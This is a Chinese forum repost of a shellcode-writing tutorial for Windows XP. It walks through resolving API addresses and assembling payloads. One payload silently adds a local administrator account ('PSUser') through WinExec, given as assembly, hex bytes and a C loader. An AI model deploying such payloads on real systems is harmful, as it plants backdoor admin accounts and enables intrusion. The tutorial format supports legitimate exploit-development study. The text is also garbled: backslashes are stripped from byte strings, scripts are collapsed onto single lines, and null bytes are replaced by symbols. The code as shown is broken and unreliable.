阅读:2259回复:0
shellcode教程从新手到高手
◆0 介绍与工具安装
在这个站点中的这套教程目的在于利用汇编代码来生成自己的shellcode,它将有希望地被包含在"Project Shellcode Development Framework"(shellcode 开发框架项目)中Windows shellcode和linux shellcode 的不同点是什么? 这个教程的一些内容是以在http://www.vividmachines.com/shellcode/shellcode.html中被抽出的信息为基础而讲述的. Linux,不像windows那样,它提供了一个通过int 0x80接口来与内核直接相结合的方法.可以在http://www.informatik.htw-dresden.de/~beck/ASM/syscall_list.html中找到完整的linux系统调用表。在另一方面,windows没有一个直接的内核接口。系统必须通过加载函数地址来相结合,它需要从一个动态链接库中被执行。两种系统的关键不同点事实上在于windows中的函数地址在一个系统版本和另一个系统版本中的变化,因为int 0x80系统调用号是恒定的。Windows程序员这样做以致于他们可以不会为了任何内核需要的改变而争论。Linux相反,已经固定了所有内核级函数的计算系统,并且如果他们要改变,将会有无数愤怒的程序员(和大量的不完善的代码) 地址:http://www.vividmachines.com/shellcode/shellcode.html 所以,windows呢?我怎样找到我需要的dll的函数地址呢?这些地址不会随着每个服务包的升级而变化么? 有许多方法可以找出需要使用于shellcode中的函数地址。 这里给出了两种寻找函数地址的方法:你可以在运行时上找需要的函数或使用硬编码的地址。这个教程将多数讨论硬编码的方法。被映射进shellcode地址空间的dll是kernel32.dll。这个dll含有LoadLibrary 和 GetProcAddress函数,这两个函数被用于获取任意被映射进exploits进程空间中的函数地址。这种方法伴随着一个问题,地址偏移将会随着每个windows的新版本而改变(服务包,补丁等等)。所以,你使用这种方法生成的shellcode将仅仅对某个windows的特定版本有效。 动态查找函数地址的方法将会出现在之后的教程中 集中于对windows汇编的讨论;然而在开发shellcode方面,linux相当方便。因为这个原因,我发现用cygwin可以搭建一个不错的开发shellcode的平台。同时也可以访问windows Dlls,下载地址:http://www.projectshellcode.com/downloads/cygwin_setup.exe 在Cygwin安装期间,会让你选择你想要的安装包 以下包便于生成shellcode: [*]Devel->binutils (包含 ld, as, objdump) [*]Devel->gcc [*]Devel->make [*]Devel->nasm [*]Devel->gdb [*]Editors->hexedit [*]Editors->vim [*]Net->netcat [*]System->util-linux [*]xxd-shellcode.sh http://www.projectshellcode.com/downloads/xxd-shellcode.sh [*]shellcode-compiler.sh 下载地址: http://www.projectshellcode.com/downloads/shellcode-compiler.sh或http://www.projectshellcode.com/downloads/shellcode-compiler.zip [*]findFunctionInDLL.sh 在你的系统上找到包含一个特定windows函数的dll [*]arwin.c http://www.vividmachines.com/shellcode/arwin.c [*]shellcodetest.c 从开始菜单中运行一个bash shell并cd到你的“shellcode”目录,例如 cd /home/Administrator/shellcode/.通过使用下面的命令编译arwin.c gcc -o arwin arwin.c通过输入./arwin列出帮助. 暂时不需要编译shellcodetest.c。把生成的shellcode放入shellcodetest.c并编译它。同时可以通过运行shellcodetest来执行我们的shellcode. Metasploit 框架是一个极好的生成shellcode的资源.在写这篇文章时,Metasploit团队即将发行Framework 3.3,它将运行在Windows上的一个cygwin环境中,开发版可以通过下面的链接来下载 [*]Metasploit Framework 3.3-dev 这个版本的框架安装在c:msf3中,并有它自己专用的cygwin环境。你可以通过shell.bat执行一个shell。 这些极好的windows程序也将使用于教程4中,需要下载如下工具: [*]OllyDbg 1.10 (极好的Windows调试器) [*]lcc-win32 (免费的windows c 编译器) 生成你第一个简单的shellcode程序吧 ◆1 一段简明的shellcode 这个教程教你shellcoding的基础,包括 [*]在windows DLLs中定位函数地址; [*]简单的汇编; [*]编译ASM代码的方法; [*]执行你的shellcode(如果它生效了)来明白其实现原理的方法. 这个教程的一些内容是基于http://www.vividmachines.com/shellcode/shellcode.html中被摘取出的信息而讲述的. 在windows DLLs中找到函数地址的方法 命名为”Sleep“的函数是睡眠的windows 函数,所以需要知道利用这个函数可以做些什么?在汇编中,我们使用call” 0xXXXXXXX”指令,XXXXXXXX是在内存中的函数地址.因此需要找到这个函数被加载的地址. 这可以使用在第一个教程中已经下载并编译好的”arwin”程序来完成.如果从创建好的shellcode目录中运行./arwin.exe,你将看到如下使用方法的信息: $ ./arwin.exe因此使用Arwin我们需要知道函数存在于哪个DLL中这通常将会是Kernel32.dll或User32.dll或ws2_32.dll;. 然而,这取决于你的shellcode试图实现的内容.下面的脚本"findFunctionInDLL.sh"我已经写好了,它是一个arwin的wrapper,在你的本地系统上的查找DLLs以找出我们的函数在哪个DLLs中. #!bashif [ $# -ne 1 ]thenprintf "ntUsage: $0 functionnamenn"exitfifunctionname=$1searchDir="/cygdrive/c/WINDOWS/system32"arwin_exe="`pwd`/arwin.exe"cd $searchDirls -1d *.dll | grep -v gui | while read dlldoprintf "r ";printf "r$dll";count=0count=`$arwin_exe $dll $functionname | grep -c "is located at"`if [ $count -ne 0 ]thenprintf "n";$arwin_exe $dll $functionname | grep "is located at"printf "n";fidoneprintf "r ";把有如上代码的findFunctionInDll.sh复制到你的系统上,运行”chmod 755 findFuntionInDll.sh”以使它可执行. 你应该确保你的Windows 系统目录被定位在/cygdrive/c/WINDOWS/system32上(在你的Cygwin 程序的环境内) 使用这个脚本找到需要传递到arwin程序中的DLL.脚本在你系统上遍历DLLs,同时它应该向你报告(输出)任意匹配到的函数和地址: ./findFunctionInDLL.sh Sleep你得到的地址或许和我的不同,这取决于操作系统和服务包.我正使用的是WindowsXP SP2.这意味着你的shellcode将只会在相同的操作系统和使用的服务包上正常运行因为我们已经硬编码了函数的内存地址.更高级的是可以被用于动态定位Kernel32.dll和函数地址的技术;然而,那将会在之后的教程中细说. 这会花上一段时间,因此如果你已经知道你的函数存在于哪个DLL,那么你可以直接运行arwin: ./arwin.exe Kernel32.dll Sleep arwin - win32 address resolution program - by steve hanna - v.01汇编代码 接下来的sleep.asm代码是从http://www.vividmachines.com/shellcode/shellcode.html中摘取出来的(带有少许的修改). 在你的本地系统上(在你的cygwin shellcode目录内)使用如下代码创建sleep.asm.因为它们解释了执行每一行指令做了什么,同时为之后的shellcode设计给予了有用的提示.记得用如上通过arwin已经枚举到的地址来替换”Sleep”函数的地址. ;sleep.asm[SECTION .text]; set the code to be 32-bit; Tip: If you don't have this line in more complex shellcode,; the resulting instructions may end up being different to; what you were expecting.BITS 32global _start_start:; clear the eax register; Tip: xor is great for zeroing out registers to clear previous values.xor eax,eax; move address of Sleep to ebx that we gained from "./arwin.exe Kernel32.dll Sleep"mov ebx, 0x7c802442; pause for 5000ms by putting 5000 into ax (8 bit eax register); Tip: ax is the lower half of eax. Using ax when possible reduces; the instruction size, and therefore the shellcode size.mov ax, 5000; push eax onto the stack as the first parameter to the Sleep function.; Tip: When functions are called, the parameters are pulled from the stack.push eax; call the address of Sleep(ms) located in ebx; Tip: Sleep has one parameter and will pull this from the stack.call ebx编译汇编代码 现在已经有了用汇编语言写好的shellcode了,我们需要编译它.这可以使用nasm汇编编译器来完成,在有sleep.asm(是你的汇编源代码文件)的目录下使用如下命令,sleep.bin是已经被编译好的二进制输出文件 nasm -f bin -o sleep.bin sleep.asm获取shellcode 现在我们有了一个编译好的二进制文件,可以使用xxd工具来生成shellcode文件.这可以使用以下的xxd命令来完成,同时将会生成以下输出: xxd -i sleep.bin这产生一个可以被使用于一个c程序内的字符数组. 输出的每个十六进制的号码(0xXX)在shellcode内代表一个字节. 那么我们会想怎样处理这个输出来产生shellcode呢?我们将使用如下脚本,这个是我放在一起用来去除可以直接地放入我们的“shellcodetest.c”程序中未经修改的shellcode的脚本,复制如下代码到你自己机器中的shellcode目录里,然后使用”chmod 755 xxd-shellcode.sh”改变权限. #!bashif [ $# -ne 1 ]then printf "ntUsage: $0 filename.binnn" exitfifilename=`echo $1 | sed s/".bin$"//`rm -f $filename.shellcodefor i in `xxd -i $filename.bin | grep , | sed s/" "/" "/ | sed s/","/""/g | sed s/"0x"/"x"/g`do echo -n "$i" >> $filename.shellcode echo -n "$i"doneecho这个程序可以使输入文件”sleep.bin”起作用,因此运行如下命令,它应该产生如下输出,这个输出将自动化地被存储到”sleep.shellcode”中.由于在你的系统上Sleep函数的地址不同,所以如果你正使用一个不同的系统或服务包,这个输出可能会略有改变 ./xxd-shellcode.sh sleep.bin x31xc0xbbx42x24x80x7cx66xb8x88x13x50xffxd3测试shellcode 使用”shellcodetest.c”程序来测试我们的shellcode.这个步骤是为了把我们的shellcode插入到一个c程序中,我们可以编译并执行它.这个程序已经被设计好来执行我们的shellcode了. 这样做之前,需要插入你的shellcode(从上个步骤生成的)到这个程序中.你把它放到”code[]”数组的引号之间.最后应该看起来像如下所示的那样: #!bash/*shellcodetest.c*/char code[] = "x31xc0xbbx42x24x80x7cx66xb8x88x13x50xffxd3";int main(int argc, char **argv){int (*func)();func = (int (*)()) code;(int)(*func)();}我们现在需要编译已经修改好的shellcodetest.c程序以让它可以执行我们的shellcode.用如下命令完成: gcc -o shellcodetest shellcodetest.c生成可执行程序”shellcodetest.exe”. 现在应该可以执行这个程序了,然后它会执行你的shellcode.用这个程序来明白这被设计好的shellcode仅仅简单地睡眠5秒,然后将会退出-同时可能发生core dump,但是在这个阶段不关心这个问题. ./shellcodetest.exe (sleeps for 5 seconds) (then exits - and may core dump)恭喜!你已经写出,编译,去除,格式化,同时已经测试了你的第一段shellcode代码! 现在让我们设计一些真正可以看的到的东西吧! ◆2 命令执行shellcode 这个教程不过是第一个教程的扩展教程; 然而,除了设计简单地睡眠5秒的shellcode外,在受害者系统上它调用WinExec函数来创建一个新的有管理权限的用户. 这个教程也教你定义和定位字符串常量的方法.在这种情况下你想执行的字符串命令.也将干净利落地退出进程而不会产生一个core dump. 这个教程的一些内容是以在http://www.vividmachines.com/shellcode/shellcode.html中被摘取出的信息为基础而讲述的. 我们的目的 我们的shellcode将定位我们的命令行字符串并通过调用WinExec函数在受害者系统上创建一个本地管理用户.要提醒注意的是这个教程将会在你的系统上创建一个管理账户,所以记得删掉它否则你可能发现你已经因为这个账户的创建而被他人黑了. 我们需要什么函数,它们在哪? 从编程经历中(或至少是通过谷歌),我们知道在一个windows系统上执行一个命令我们需要调用WinExec函数,同时为了干净利索地退出一个进程我们需要调用ExitProcess函数.这两个函数都可以在Kernel32.dll中被找到. 为了定位函数的地址,我们将使用arwin,正如我们在上一个教程中做的那样.如下所示: ./arwin.exe Kernel32.dll WinExec arwin - win32 address resolution program - by steve hanna - v.01 WinExec is located at 0x7c8615b5 in Kernel32.dllWinExec函数位于Kernel32.dll中的0x7c8615b5地址上 ./arwin.exe Kernel32.dll ExitProcess arwin - win32 address resolution program - by steve hanna - v.01ExitProcess位于Kernel32.dll中的0x7c81ca82地址上你得到的地址或许和我的不同.这取决于操作系统和服务包.我正使用WindowsXP SP2.这意味着你的shellcode将只会在相同的操作系统和你使用的服务包上正常工作因为我们已经硬编码了函数的内存地址.这甚至可能是因你已经安装了补丁文件而略有不同的.这是更高级的可以被用来动态定位Kernel32.dll和函数地址的技术;然而,那将会在之后的教程中细说. 定义并定位字符串常量 下面即是我们想在我们的shellcode中定义的字符串常量,我们将执行的命令来创建一个用户名是”PSUser”密码是”PSPasswd”的账户 'cmd.exe /c net user PSUser PSPasswd /ADD && net localgroup Administrators /ADD PSUser'下面小段代码示范了在我们的代码末尾定义一个字符串常量,同时在栈顶上定位字符串的方法; +--------------- [snip] ---------------+ jmp short GetCommand;Jump to where our string is located ("GetCommand" label below) CommandReturn:;Create a label we can call to return here. pop ebx;the "call" operation below has pushed its return address onto the stack, which we have designed to point to our string - so pop the address of the string off the stack and into ebx.;At this point, ebx points to our string.+--------------- [snip] ---------------+GetCommand: ;Create the "GetCommand" label where our string is locatedcall CommandReturn ;"call" is like jump, but also pushes the return address (next instruction after call) onto the stack. Since our string is defined immediately after this instruction, the return address points to the address of our string.”call”db "cmd.exe /c net user PSUser PSPasswd /ADD && net localgroup Administrators /ADD PSUser";Write the raw bytes into the shellcode that represent our string. db ◆0 ;Terminate our string with a null character.+--------------- [snip] ---------------+汇编代码 下面的adduser.asm代码是从http://www.vividmachines.com/shellcode/shellcode.html中摘取出来的,带有略微的修改和注释 在你的本地系统上Cygwin的shellcode目录中使用如下代码创建adduser.asm 在shellcode开发之后,记得用你已经使用上面的arwin枚举出来的地址替换掉”WinExec”和”ExitProcess”的函数地址 +----------------- Start adduser.asm -----------------+;adduser.asm[Section .text]BITS 32global _start_start:jmp short GetCommand ;jump to the location of the command stringCommandReturn: ;Define a label to call so that string address is pushed onto stackpop ebx ;ebx now points to the string ebx xor eax,eax ;empties out eax push eax ;push null onto stack as empty parameter value push ebx ;push the command string onto the stack mov ebx,0x7c8615b5 ;place address of WinExec into ebx call ebx ;call WinExec(path,showcode)xor eax,eax ;zero the register again to clear WinExec return value (return values are often returned into eax) push eax ;push null onto stack as empty parameter value mov ebx, 0x7c81ca82 ;place address of ExitProcess into ebx call ebx ;call ExitProcess(0);GetCommand: ;Define label for location of command string call CommandReturn ;call the return label so the return address (location of string) is pushed onto stack db "cmd.exe /c net user PSUser PSPasswd /ADD && net localgroup Administrators /ADD PSUser";Write the raw bytes into the shellcode that represent our string. db ◆0 ;Terminate our string with a null character.+----------------- End adduser.asm -----------------+编译汇编代码 因此我们现在已经有我们用汇编写好的shellcode了,我们需要编译它.这可以使用nasm汇编编译器来完成,在有adduser.asm(是你的汇编源代码文件)的目录下使用如下命令,adduser.bin是已经编译好的二进制输出文件 nasm -f bin -o adduser.bin adduser.asm获取shellcode 现在我们有了一个编译好的二进制文件,可以使用xxd工具来为我们生成shellcode文件.这可以使用以下的xxd命令来完成,同时将会生成以下输出: xxd -i adduser.bin unsigned char adduser_bin[] = { 0xeb, 0x16, 0x5b, 0x31, 0xc0, 0x50, 0x53, 0xbb, 0xb5, 0x15, 0x86, 0x7c, 0xff, 0xd3, 0x31, 0xc0, 0x50, 0xbb, 0x82, 0xca, 0x81, 0x7c, 0xff, 0xd3, 0xe8, 0xe5, 0xff, 0xff, 0xff, 0x63, 0x6d, 0x64, 0x2e, 0x65, 0x78, 0x65, 0x20, 0x2f, 0x63, 0x20, 0x6e, 0x65, 0x74, 0x20, 0x75, 0x73, 0x65, 0x72, 0x20, 0x50, 0x53, 0x55, 0x73, 0x65, 0x72, 0x20, 0x50, 0x53, 0x50, 0x61, 0x73, 0x73, 0x77, 0x64, 0x20, 0x2f, 0x41, 0x44, 0x44, 0x20, 0x26, 0x26, 0x20, 0x6e, 0x65, 0x74, 0x20, 0x6c, 0x6f, 0x63, 0x61, 0x6c, 0x67, 0x72, 0x6f, 0x75, 0x70, 0x20, 0x41, 0x64, 0x6d, 0x69, 0x6e, 0x69, 0x73, 0x74, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x73, 0x20, 0x2f, 0x41, 0x44, 0x44, 0x20, 0x50, 0x53, 0x55, 0x73, 0x65, 0x72, ◆0 }; unsigned int adduser_bin_len = 115;这产生一个可以被使用于一个c程序内的字符数组. 输出的每个十六进制的号码(0xXX)在shellcode内代表一个字节. 我们将使用”xxd-shellcode.sh”脚本来去除可以直接地放入我们的“shellcodetest.c”程序中的半成品shellcode,正如我们在上一个教程中做的那样,在下面将会展示: ./xxd-shellcode.sh adduser.bin xebx16x5bx31xc0x50x53xbbxb5x15x86x7cxffxd3x31xc0x50xbbx82xcax81x7cxffxd3xe8xe5xffxffxffx63x6dx64x2ex65x78x65x20x2fx63x20x6ex65x74x20x75x73x65x72x20x50x53x55x73x65x72x20x50x53x50x61x73x73x77x64x20x2fx41x44x44x20x26x26x20x6ex65x74x20x6cx6fx63x61x6cx67x72x6fx75x70x20x41x64x6dx69x6ex69x73x74x72x61x74x6fx72x73x20x2fx41x44x44x20x50x53x55x73x65x72x00 Testing the shellcode测试shellcode 使用”shellcodetest.c”程序来测试我们的shellcode.这个步骤的目的是为了把我们的shellcode插入到一个c程序中,然后可以编译并执行这个c程序.为了执行我们的shellcode,这个程序已经设计好了. 这样做之前,需要把你的shellcode插入(从上个步骤生成的)到这个程序中.你把它放到”code[]”数组的引号之间.最后应该看起来像如下代码中所示的那样: +----------------- Start updated shellcodetest.c -----------------+/*shellcodetest.c*/char code[] = "xebx16x5bx31xc0x50x53xbbxb5x15x86x7cxffxd3x31xc0x50xbbx82xcax81x7cxffxd3xe8xe5xffxffxffx63x6dx64x2ex65x78x65x20x2fx63x20x6ex65x74x20x75x73x65x72x20x50x53x55x73x65x72x20x50x53x50x61x73x73x77x64x20x2fx41x44x44x20x26x26x20x6ex65x74x20x6cx6fx63x61x6cx67x72x6fx75x70x20x41x64x6dx69x6ex69x73x74x72x61x74x6fx72x73x20x2fx41x44x44x20x50x53x55x73x65x72x00";int main(int argc, char **argv){int (*func)();func = (int (*)()) code;(int)(*func)();}+----------------- End updated shellcodetest.c -----------------+我们现在需要编译已经修改好的shellcodetest.c程序以使它可以执行我们的shellcode.可以用如下命令完成: gcc -o shellcodetest shellcodetest.c创建可执行程序”shellcodetest.exe”. 在运行这个程序之前,会想在你的本地系统上通过运行以下命令来列出用户的账户 net user (列出在你系统上的本地账户)你现在应该可以通过这个测试程序来执行你的shellcode了.这个shellcode被设计来在你的系统上添加一个具有管理员权限的用户(称作”PSUser”),然后它会干净利索地退出 ./shellcodetest.exe The command completed successfully. 命令成功完成 (添加用户账户) 命令成功完成 (添加用户账户到管理组) (干净利索地退出)现在可以通过再次运行”net user”命令确认是否已经创建了账户,正如如下所示: net user (列出本地系统的账户现在包含PSUser这个账户了)整理 你应该查明你是否已经从你的系统中删除了这个账户,以确保该账户不会被人用来黑进你的系统.可以使用以下命令完成: net user PSUser /delete 命令成功完成 (deletes the "PSUser" account)恭喜! 你已经设计出了你的第一段shellcode,它定义并找到了一个不变的字符串,且在一个Windows系统上执行一个命令来创建一个具有管理员权限的账户. 现在,让我们开始做个略略狡猾的人吧. ◆3 消息框shellcode 这篇教程教你设计shellcode时的一些有用的技巧,例如教你加载库,动态定位windows函数,定义并找到字符串常量的地址,以及调用Windows函数的方法,这可以让你开始着手设计你自己的shellcode 这个教程的一些内容是基于http://www.vividmachines.com/shellcode/shellcode.html中被摘取出的信息而讲述的. 我们的目标 我们的shellcode目标是显示出一个包含自定义消息的对话框 我们需要调用什么函数? 从编程经验中(或至少是通过谷歌),我们知道在Windows上生成一个消息框需要调用MessageBoxA函数,通过谷歌也可以判断是否能在user32.dll中找到MessageBoxA函数. 如果使用前面教程提到的用”findFunctionInDLL.sh”来判断这个函数是否存在于user32.dll中,并且也将输出这个函数地址.那么用如下的方式来完成. ./findFunctionInDLL.sh MessageBoxA user32.dll MessageBoxA is located at 0x7e45058a in user32.dll因此我们将知道MessageBoxA 函数的地址并知道它位于user32.dll中,不幸的是,如果我们把这个地址的硬编码传入shellcode中,它将只会在你当前的操作系统中生效.即是只能在我的windows xp sp2中正常工作除此之外将使用允许我们动态地找到MessageBoxA函数地址的技术,它没有把内存地址硬编码. User32.dll已经被加载了? 在Windows中我们只知道Kernel32.dll 已经被加载了,但是我们没有必要知道user32.dll是否已经被加载.通常我们不得不认为那是没用的,除非你正在为一个特定的exploit设计shellcode. 为了在windows上加载一个库,我们可以调用”LoadLibraryA”函数,它位于Kernel32.dll中.所以我们需要找到LoadLibraryA函数的地址.如上所示,这可以通过使用findFunctionInDLL.sh来完成, 然而,一个更快的方法是直接使用arwin,因为已经知道函数和库了 ./arwin Kernel32.dll LoadLibraryA7 arwin - win32 address resolution program - by steve hanna - v.01 LoadLibraryA is located at 0x7c801d77 in Kernel32.dll需要记得我们仅仅试图动态找到MessageBoxA函数的地址.但是将不会试图完全地去掉所有硬编码的内存地址.这在之后的教程中将会有所涉及,它将允许你设计运行在windows平台上的shellcode 怎样找到MessageBoxA函数的地址呢? 所以在这个阶段,我们知道加载user32.dll库的方法,知道想调用的MessageBoxA函数包含在其中.但是仍然不知道怎么找到MessageBoxA函数的地址 我们可以使用 "GetProcAddress"函数,它位于Kernel32.dll中.可以传递函数名到GetProcAddress,同时它将返回函数的地址.所以首先,我们需要使用arwin定位GetProcAddress函数的地址 ./arwin Kernel32.dll GetProcAddress如何防止主进程崩溃? 在上一个教程中,进程崩溃造成了一次core dump.为了干净利索地退出,我们需要调用ExitProcess函数.为简单起见,我们将仅仅在Kernel32.dll内使用arwin来枚举这个函数的内存地址,这可以通过如下所示的那样完成: ./arwin Kernel32.dll ExitProcess arwin - win32 address resolution program - by steve hanna - v.01 ExitProcess is located at 0x7c81ca82 in Kernel32.dll这样我们现在已经拥有所有设计shellcode的信息了.因此你可以简单地理解下面的汇编代码,我仅仅想指出多一个被使用过的技术. Defining and locating string constants 定义并定位字符串常量 From the above information, there are three strings that we want to define in our shellcode. These are: 从如上的信息可知,有三个字符串是我们想要定义在shellcode里面的.这些是: 'user32.dll' 'MessageBoxA' 'Hey' 这里将使用”user32.dll”字符串作为参数传递到LoadLibraryA函数中.使用”MessageBoxA”字符串作为参数传递到GetProcAddress中.使用”Hey”作为参数传递到MessageBoxA函数中. The following snippet of code demonstrates how we define a string at the end of our code, and locate the string at the top; 下面的小段代码示范展示了我们在代码的末尾定义字符串的方法,并在顶部定位字符串 +--------------- [snip] ---------------+;Retrieve the address of the library name string set below. jmp short GetLibrary ;Jump to where our library string is located ("GetLibrary" label below)GetLibraryReturn:;Create a label we can call to return here.pop ecx ;the "call" operation has pushed the return address onto the stack, which we have designed to point to our string - so pop the address of the library name string off the stack and into ecx.;At this point, ecx points to our string.+--------------- [snip] ---------------+GetLibrary: ;Create the "GetLibrary" label where our library name string is located call GetLibraryReturn ;"call" is like jump, but also pushes the next instruction address onto the stack. Since our string is defined immediately after this instruction, this is the address of our string. db 'user32.dll' ;Write the raw bytes into the shellcode that represent our string. db ◆0 ;Terminate our string with a null character.+--------------- [snip] ---------------+The Shellcode 接下来的msgbox.asm代码是从http://www.vividmachines.com/shellcode/shellcode.html中摘取出来的,带有略微的修改和注释 在你的本地系统上Cygwin的shellcode目录中使用如下代码创建msgbox.asm.确保你已经从头到尾地阅读了代码的注释因为它们解释了每一行代码执行的内容,同时为之后shellcode开发给予了有用的提示. 记得用你已经使用arwin程序枚举出来的地址替换掉每个函数的地址 +--------------- Start msgbox.asm --------------+;msgbox.asm[SECTION .text]BITS 32global _start_start:;zero out the registersxor eax,eaxxor ebx,ebxxor ecx,ecxxor edx,edx;Retrieve the address of the library name string set below. jmp short GetLibraryGetLibraryReturn: pop ecx ;pop address of the Library string;Pass library string as parameter to LoadLibraryA, and call LoadLibraryA mov ebx, 0x7c801d77 ;LoadLibraryA(libraryname) push ecx ;push parameter to LoadLibraryA call ebx ;call LoadLibraryA - eax holds return value;Retrieve the address of the function name string set below. jmp short FunctionNameFunctionReturn: pop ecx ;pop address of the function string;Pass function string as parameter to LoadLibraryA, and call LoadLibraryA push ecx ;push string as the second parameter push eax ;pass first parameter mov ebx, 0x7c80adc0 ;GetProcAddress(hmodule,functionname) call ebx ;eax now holds address of MessageBoxA jmp short MessageMessageReturn: pop ecx ;get the message string xor edx,edx ;clear edx value;Push the parameters onto the stack: push edx ;MB_OK push ecx ;title push ecx ;message push edx ;NULL window handle call eax ;MessageBoxA(windowhandle,msg,title,type)ender: xor edx,edx ;empty edx out push eax ;move address of MessageBoxA onto stack mov eax, 0x7c81ca82 ;ExitProcess(exitcode); call eax ;exit cleanly so we don't crash parentGetLibrary: ;Define location and string constant "user32.dll" call GetLibraryReturn ;push address of next byte onto stack, and return to GetLibraryReturn db 'user32.dll';string constant db ◆0;terminate string with nullFunctionName:;Define location and string constant "MessageBoxA" call FunctionReturn;push address of next byte onto stack, and return to FunctionReturn db 'MessageBoxA';string constant db ◆0;terminate string with nullMessage:;Define location and string constant "Hey" call MessageReturn;push address of next byte onto stack, and return to MessageReturn db 'Hey';string constant db ◆0;terminate string with null+--------------- End msgbox.asm --------------+编译汇编代码 因此现在已经有我们用汇编语言写好的shellcode了,我们需要编译它.这可以使用nasm汇编编译器来完成,在有msgbox.asm(是你的汇编源代码文件)的目录下使用如下命令,msgbox.bin是已经编译好的二进制输出文件 nasm -f bin -o msgbox.bin msgbox.asm获取shellcode 现在我们有了一个编译好的二进制文件,可以使用xxd工具来为我们生成shellcode文件.这可以使用以下的xxd命令来完成,同时将会生成以下输出: xxd -i msgbox.bin unsigned char msgbox_bin[] = { 0x31, 0xc0, 0x31, 0xdb, 0x31, 0xc9, 0x31, 0xd2, 0xeb, 0x2a, 0x59, 0xbb, 0x77, 0x1d, 0x80, 0x7c, 0x51, 0xff, 0xd3, 0xeb, 0x2f, 0x59, 0x51, 0x50, 0xbb, 0xc0, 0xad, 0x80, 0x7c, 0xff, 0xd3, 0xeb, 0x34, 0x59, 0x31, 0xd2, 0x52, 0x51, 0x51, 0x52, 0xff, 0xd0, 0x31, 0xd2, 0x50, 0xb8, 0x82, 0xca, 0x81, 0x7c, 0xff, 0xd0, 0xe8, 0xd1, 0xff, 0xff, 0xff, 0x75, 0x73, 0x65, 0x72, 0x33, 0x32, 0x2e, 0x64, 0x6c, 0x6c, ◆0, 0xe8, 0xcc, 0xff, 0xff, 0xff, 0x4d, 0x65, 0x73, 0x73, 0x61, 0x67, 0x65, 0x42, 0x6f, 0x78, 0x41, ◆0, 0xe8, 0xc7, 0xff, 0xff, 0xff, 0x48, 0x65, 0x79, ◆0 }; unsigned int msgbox_bin_len = 94; 这产生一个可以被使用于一个c程序内的字符数组. 输出的每个十六进制的号码(0xXX)在shellcode内代表一个字节. 那么我们会想怎样处理这个输出来产生shellcode呢?我们将使用如下脚本,这个是我放在一起用来去除可以直接地放入我们的“shellcodetest.c”程序中未经修改的shellcode的脚本,复制如下代码到你自己机器中的shellcode目录里,然后使用”chmod 755 xxd-shellcode.sh”改变权限. 我们将使用”xxd-shellcode.sh”脚本来去除可以直接地放入我们的“shellcodetest.c”程序中的未经修改的shellcode,正如我们在上一个教程中做的那样,在下面将会展示: ./xxd-shellcode.sh msgbox.bin测试shellcode 使用”shellcodetest.c”程序来测试我们的shellcode.这个步骤的目的是为了把我们的shellcode插入到一个c程序中,然后可以编译并执行这个c程序.这个程序已经被设计好来执行我们的shellcode. 这样做之前,需要把你的shellcode(从上个步骤生成的)插入到这个程序中.并把它放到”code[]”数组的引号之间.最后看起来应该像如下代码中所示的那样: +----------------- Start updated shellcodetest.c -----------------+/*shellcodetest.c*/char code[] = "x31xc0x31xdbx31xc9x31xd2xebx2ax59xbbx77x1dx80x7cx51xffxd3xebx2fx59x51x50xbbxc0xadx80x7cxffxd3xebx34x59x31xd2x52x51x51x52xffxd0x31xd2x50xb8x82xcax81x7cxffxd0xe8xd1xffxffxffx75x73x65x72x33x32x2ex64x6cx6cx00xe8xccxffxffxffx4dx65x73x73x61x67x65x42x6fx78x41x00xe8xc7xffxffxffx48x65x79x00";int main(int argc, char **argv){int (*func)();func = (int (*)()) code;(int)(*func)();}+----------------- End updated shellcodetest.c -----------------+现在需要编译已经修改好的shellcodetest.c程序以使它可以执行我们的shellcode.可以用如下命令完成: gcc -o shellcodetest shellcodetest.c创建可执行程序”shellcodetest.exe” 记住这个被设计来触发一个消息框,它含有”Hey”消息,之后他应该在没有触发core dump的情况下干净利索的退出.如果你遇到发生core dump,那么硬编码的函数地址可能是错的,同时你需要检查arwin程序对以上每个函数进行输出的结果 ./shellcodetest.exe (message box produced saying "Hey")消息框引发提示”Hey” (click "Ok" and it should exit cleanly) 点击”OK”并干净利索地退出. 恭喜! 你已经设计好一些加载Windows库的shellcode了,动态找到Windows函数的地址,定义并找到字符串常量,并调用函数地址. 这可以让你在一个恰当的处境中开始设计你自己的shellcode. 然而,在上述代码中仍然还有一些硬编码的地址.接下来的教程将告诉你如何通过动态定位Kernel32.dll和GetProcAddress函数来删掉这些地址.也将告诉你如何使用汇编语言来构造函数让你可以重用你的代码. ◆4 生成函数Hash 在前面的教程中,总还有指向已经想调用的windows函数的硬编码地址.这阻碍了shellcode在多种不同的windows操作系统,服务包,甚至是不同的补丁程序级别上的执行 这个教程的第一步是向学习更加动态的Windows shellcode结构更进一步了,它可以在多种windows操作系统版本,服务包和补丁程序级别上执行. 这个方法起初通过创建一个我们想要调用的函数名的hash来动态找到每个函数的地址,然后shellcode通过搜索相关的DLL(初始是 kernel32.dll),为我们发现的每个函数名计算一个hash,同时用我们预先计算好的hash来与其进行比较. 我们的目的 我们shellcode的目的将是设计一个生成hash的程序(这个程序可以获取一个函数名字符串的列表并把一个符合的hash表压在栈上.这个表可以通过OllyDbg调试器看到这个程序也将示范多一些结构,它们是我们定义的函数和常量的区域. 我们正在编译这段汇编代码就好像它已经是shellcode了(仅仅是因为暂时抛出程序);然而,它不会真的像shellcode那样有任何功能同时也仅仅是一个相当有用的程序.它被使用于创建函数hash(为了使用于其它shellcode中) 下一个教程(教程6)为了让shellcode完全动态(可以在所有服务包和windows98,windowsNT,windows 2000,windowsXP和Windows2003的补丁程序级别中生效),将会把我们在这个教程中生成的函数hash转换成在教程3中的adduser.asm代码(它有已经硬编码了的函数地址) 从教程3来看,我们已经使用了”WinExec”和”ExitProcess”函数,所以为了在教程6中可以使用这些函数,我们将会为这些函数与一堆其他通常会被使用到的函数一起生成hash 在代码中应该注意什么 这些已经通过”FUNCTION:function_name”和“DEFINE CONSTANTS”部分展示出来了,下面的汇编代码是由使用汇编语言写的函数和常量构成的. 当设计shellcode时,函数是有帮助的,因为他们允许简单的代码重用,当你多次使用函数时,可以帮助你减少shellcode的代码量。它们也允许你把它们复制到你设计的其他shellcode中,这使得未来的shellcode更容易编写. 仅仅要关心的是当设计的shellcode需要尽可能小的代码量时,它使用一个函数不会设计的比仅仅做内联动作产生更多的代码(正如我们已经完成的get_current_address函数那样...但是那不在这种情况之内).使用诸如”call get_current_address”这样的标志定义函数,同时通过”call”操作符调用它,例如”call get_current_address”当call操作符被使用时,它首先把当前的地址压入到堆栈中以便让它知道返回地址.这个函数通过使用”ret”操作符返回到函数调用的初始位置 